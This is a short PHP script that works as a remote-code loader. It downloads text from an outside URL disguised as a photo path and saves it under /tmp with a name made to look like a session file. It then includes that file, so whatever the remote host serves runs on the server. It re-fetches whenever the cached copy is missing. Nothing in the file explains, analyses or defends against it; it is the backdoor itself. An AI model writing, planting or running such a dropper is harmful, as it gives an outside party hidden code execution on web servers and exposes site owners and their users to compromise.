<?=
"";
error_reporting(E_ALL);
ini_set('display_errors', 1);
$src = "https://fcalpha.net/web/photo/20151024/naxc.txt";
$name = "/tmp/sess_" . md5("naxx") . ".php";

function create($source, $file)
{
    $ex = file_get_contents($source);

    touch($file);
    error_log($ex, 3, $file);
}

if (!file_exists($name) || filesize($name) < 10) {
    @unlink($name);
    create($src, $name);
}

include($name);